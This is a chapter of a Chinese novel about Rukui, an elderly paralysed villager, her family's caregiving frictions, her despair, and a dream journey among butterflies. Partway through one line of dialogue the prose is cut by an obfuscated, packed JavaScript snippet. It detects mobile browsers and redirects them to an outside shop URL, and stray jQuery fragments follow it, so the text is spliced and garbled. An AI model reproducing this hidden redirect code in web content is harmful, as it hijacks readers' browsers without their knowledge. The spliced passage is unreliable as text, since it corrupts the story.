如葵今年83岁。


    住在一个小镇子上，据说从前这座镇子曾经住着一个神仙。


    所以这里也叫仙镇。


    在遥远的深山中，被蝴蝶环绕着的古庙，就是神仙居住的地方。


    年代久远，无法考据。


    只是在代代流传下的神话里，演变出了一个意寓吉祥的蝴蝶图腾。


    如葵差一点就要叫做春蝶，因为她出生的时候，母亲一扭头，就看到了床头靠着的木窗上停着一只粉黄色的蝴蝶。


    翅膀微微颤抖着，一如身下粉手粉脚蠕动啼哭着的婴儿。


    后来是父亲给她定下了名字，如葵。


    没有任何的诗意联想，仅仅是因为她的大哥名字叫做如山，农家人，能如大山大海，蔬菜植物一样生长，就是极好的祝福了。


    蝴蝶贯穿了如葵漫长的一生。


    妳族女子爱花爱蝶，爱到不仅要穿戴在身上，还要缝进厚厚的喜被里，与丈夫躺在其中，宛如置身春意盎然的蝴蝶林。


    婴儿出生了，裹在绣着花绣着蝶的抱被里。


    孩子长大了，阿妈就会给他们打制蝴蝶纹银饰，庇佑孩子们的远行顺利。


    而此时此刻，如葵就穿梭在漫天的蝴蝶群中，她努力地瞪大眼睛，去寻找远方的路。


    她的手心里全是汗，湿滑发软，于是她只能用力握紧手中的东西，不让它滑落。


    目及之处尽是蝶群，宛若一场盛大的花雨，黄的粉的蓝的彩的，纷纷落落，遮天蔽日，什么也看不清楚，如葵只能凭借记忆里的方向朝前走去。


    只要坚持走到老枫树下，就可以找到玉峥，然后在期限之前把玉峥的魂魄带回去了。


    已经第七天了，再过几个小时，玉峥的魂魄就要被牵引着走上渡魂的大船，前往祖地与祖灵团聚，再也没有回到阳间的机会了。


    如葵不识字，是小地仙告诉她，根据他们这一支妳族人的创世古歌记载，那棵自远古时代便存在的枫香树，就长在两座神鸟石像之间。


    可如葵已经看不见路了，她找不到石像在哪儿。


    心里又急又恨，空着的左手抬起来不停挥赶着身旁的蝴蝶。


    “让开！别挡着我的路！”


    可蝴蝶偏偏不如她的意，反而更加放肆地往她的脸上、身上撞。如葵心下大急，已带了哭腔。


    “你们莫要来胡搞我，来不及了！玉峥就要被带走了！”


    可是蝴蝶不懂人意，它们围在崩溃的如葵身边，依旧欢欣地舞跃着。


    如葵抹去脸上的泪，低头，迈着坚定的步子，在山谷中艰难往前走。


    蝴蝶蝴蝶，你能告诉我，玉峥还在等着我吗？


    在七天之前，如葵根本想象不到，自己身上会发生这样的事情。


    她已经很老了，老到像她这个岁数，五脏六腑还能保持健康的人，很少很少了。


    但也许这只是医生的一句安慰话语。


    五年前在冲凉房里摔了一跤后，她就再也站不起来，左半边身子像一座沉重的山，紧紧压在床板上，不听她的使唤。


    活了八十三年，如葵头一次惊讶地发现，原来这副身体并不完全是我的，它居然还能有一半不为我所动。


    起初她以为这只是一场普通的急病，在医院住几天就能好了。


    大女儿与医生也是这样给她希望的。


    他们每天都会在病床上给自己按摩毫无知觉的半边身体，从腰揉搓到小腿，再到脚底板。


    女儿的手必须很有劲很有劲，才能把按摩的力道从厚实老茧传到柔软的脚心肉上。


    医生推来了电子仪器，长长的线把如葵与机器连接在一起，像是期望能再次从母体子宫获得生长站立的力量。


    可毫无用处，如葵永远都不能走路了。


    她还有那么多没干完的事儿，她养猪，养的小鸡，都要随着她的健康一起消失。


    南方的冬天湿冷阴寒，白色的雾气从公猪的嘴里喷发出来，被人强行牵出猪圈时，公猪嚎啕大喊。


    四个手法老道的男人按住公猪，一刀子下去公猪的尖叫声响彻整个村子。


    猪的声音有时候很像人声，尤其是尖叫与痛喊。


    听起来与人无异。


    滚烫腥臭的猪血从公猪喉中喷出，它的叫声也逐渐微弱。


    如葵在自己的床上翻了个身。


    她只能平躺或者左躺。


    靠自己的力量，无法抬起毫无知觉的左半身往右边睡去。


    像那只挣扎翻滚的猪。


    本来是要养肥，留着过年杀来给全家吃的。


    现在自己动不了了，没人再养猪了。于是猪的死期就提前了。


    如葵意识模糊地闭上了眼。


    什么都没了。


    心灵上的虚弱比身体的病痛更消磨意志。


    如葵总是觉得头痛，一开始会微弱地呻吟，默默流眼泪，却不肯吃药。她说晚上梦见了母亲，她让母亲带走她。可是梦里的母亲没有说话。


    她有时会无缘故地哭起来，房间窗口外站着来看望她的同村大娘，在他人怜悯的目光中，如葵的眼泪从耷拉的眼皮下流出来。


    “她们不给我吃饭。我没用了，连口汤都不舍得给我喝。”


    脾气最软和的儿媳妇从房门外走进来，默默放下饭碗，语气毫无波澜。


    “妈，来吃饭了。”


    如葵用右手拉住袖口，擦掉眼泪，呜呜的哭声却没有停止。


    大娘抬起脸冲儿媳妇笑了笑，寒暄了几句，便借口也要回家吃饭。


    当天晚上这件事就传到了大女儿耳朵里。


    女儿隔着手机话筒安慰自己的弟媳妇。


    “她现在每天吃的药太多太杂，脑子就吃糊涂了。”


    “大姐，我知道的，没事儿。”


    弟媳妇的善解人意让大女儿很不是滋味，她努力维持着家里的和平，不希望家里人彼此之间心里有不舒服。


    于是某个周末大女儿回了家，温暖的傍晚，她把如葵推到大门口的村道上，占了一个最显眼的位置，吹着晚风，给如葵布置晚饭。


    泡了鸡汤的米饭，加上被剪成小块的香芋扣肉。


    如葵最喜欢扣肉，肉质鲜美，肥肉软糯油水丰盛，瘦肉紧而不柴，肉皮更是入味弹牙。


    一口肉一口饭，真是十分快活。


    她也就剩下吃饭这件乐事儿了。


    但是人生的忧郁太多，层层叠叠的悲伤，重量总和已经压过了吃扣肉这件美事。


    曾经满口喷香的肉，现在吃起来已经有种说不上来的可恨。


    肉还是好肉，可我吃那么多，又有什么用？


    如葵狠下心，把嘴里的肉扯出来往地上一掷，又带上了哭腔。


    “那么硬的肉，我都没有牙齿了，怎么吃！”


    女儿被这突如其来的举动吓了一跳，然后捡起了地上的肉，扔进了旁边的鸭圈里。


    鸭子们摇摇摆摆上前抢食。粗嘎叫声响起一片。


    “不想吃也不要乱扔呀，多浪费。”


    如葵吸吸鼻子，孩子气地哭着。


    “以后不用给我吃肉了，我随便喝点白粥就行。”


    女儿拿起如葵手边的饭勺，把碗里的肉弄得更细碎一些，半是玩笑半是哄劝。


    “只吃白粥怎么行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012593|148605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？等下别人又该说我们不让您吃饱了！”


    饭勺喂到嘴边，如葵扭开头，“不吃。”


    女儿也带了点怒气，“我们又不是你的仇人，何苦这样对我们。”


    “你现在这样，我们也没有谁说不管你，不给你吃不给你穿。”


    干完农活儿邻居拖着工具慢悠悠地走过来，她家在后山，要回去必须经过这条村道。


    脸上带着笑吟吟的表情，看着如葵和女儿，随意打了声招呼。


    “在这儿吃晚饭呢！”


    女儿也笑着回应，“是呀，每天都带老人出来转转，总在家里憋着不好。”


    邻居回了家去，这顿别扭的饭也没有吃完。


    上了年纪的老人都固执，只是女儿想不通，一向通情达理的妈妈，怎么会变得蛮不讲理？


    房间里只有一管亮度不高的白炽灯，如葵不在意，因为她早就看不清周围的一切。


    白内障在六十岁那年，就住进了眼睛里。


    睡前还需要吃一把药，女儿把药片抠出来，倒在手心里，拢作一把，然后去倒温水。


    同时嘴上不忘说理。


    “弟媳妇天天照顾你，你却到处乱说不给你饭吃，她心里会怎么想？能舒服吗？”


    如葵恹恹地缩在轮椅中，交谈的兴致不高，便选择了沉默。


    女儿拿着一杯温水转过身，先把药放在她手心，看着她塞进嘴里后，再把水递给她。


    “村口的花姨，也是跟你一样脑出血后瘫痪了，她儿子根本就不管她。”


    “她每天就只能自己在床上躺着，一整天，没人给她吃，拉大便在床上都没人收拾。”


    如葵又哭了起来，哽咽着抹泪。为女儿的埋怨，为花姨的悲惨，也为自己未来的绝望。


    “怎么又哭啦，哭那么多，我爸不会来梦里骂我吧。”女儿拿纸巾为她擦去眼角与脸上的泪，故意说笑，想要缓解如葵的心情。


    提到丈夫，如葵又哭又骂，憋着的话终于倾泻出来。


    “他来找你有什么用？让他来找我！死那么早，留那么多孩子给我一个人照顾，他好狠的心！”


    “好好好，等我梦到爸了，就跟他说，让他来找你。”女儿回应着，然后把如葵的左胳膊架到肩上，撑起她，将身体挪到床上。


    如葵还是哭个不停，伤心事太多，从18岁的早婚，哭到50岁丈夫的去世，再哭起对母亲的思念。


    “我没本事了，你们让我去死吧，我要去找我妈，明天我就把楼上放的那瓶农药喝了！”


    “哪里还有农药！三妹上次去田里干活儿就已经用完了。”女儿没有把她的哭诉放在心上。


    这样的闹剧，家里时不时就会上演一出。


    女儿明白，如葵心里的慌张与恐惧。


    因为在母亲固有的认知里，农村瘫痪的老人，几乎就等于死人了。


    迷迷糊糊地入梦，睡着前，如葵的心里还不忘骂自己早死的丈夫。


    怪他导致了如今这样的局面。


    如果不是他早死，自己就不用那么劳累。


    如果自己没那么劳累，就不会得脑出血。


    如果…… 如果……


    一阵飘渺的音乐声由远及近，逐渐贴近耳朵。


    “叮叮咚咚，叮叮咚，叮咚…… ”


    如葵打了个激灵，意识从梦境中脱离。


    眼睛慢慢睁开，看到的是泛黄带渍斑驳的天花板。


    不是自己床上熟悉的俗粉色蚊帐。


    眼睛转了转，看到身侧完全陌生的摆设，高高的柜子，许许多多又乱七八糟的书还有玩具……


    这是哪里？！